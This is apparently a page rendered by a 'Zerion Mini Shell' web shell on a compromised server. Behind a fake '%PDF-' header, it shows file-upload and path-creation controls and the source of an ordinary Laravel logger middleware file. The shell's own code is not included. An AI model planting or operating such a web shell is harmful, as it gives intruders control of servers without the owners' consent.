%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pjcbackup/vendor/jeremykenedy/laravel-logger/src/App/Http/Middleware/
Upload File :
Create Path :
Current File : /var/www/pjcbackup/vendor/jeremykenedy/laravel-logger/src/App/Http/Middleware/LogActivity.php

<?php

namespace jeremykenedy\LaravelLogger\App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;
use jeremykenedy\LaravelLogger\App\Http\Traits\ActivityLogger;

class LogActivity
{
    use ActivityLogger;

    /**
     * Handle an incoming request.
     *
     * @param Request  $request
     * @param \Closure $next
     *
     * @return mixed
     */
    public function handle($request, Closure $next, $description = null)
    {
        if (config('LaravelLogger.loggerMiddlewareEnabled') && $this->shouldLog($request)) {
            ActivityLogger::activity($description);
        }

        return $next($request);
    }

    /**
     * Determine if the request has a URI that should log.
     *
     * @param \Illuminate\Http\Request $request
     *
     * @return bool
     */
    protected function shouldLog($request)
    {
        foreach (config('LaravelLogger.loggerMiddlewareExcept', []) as $except) {
            if ($except !== '/') {
                $except = trim($except, '/');
            }

            if ($request->is($except)) {
                return false;
            }
        }

        return true;
    }
}

Zerion Mini Shell 1.0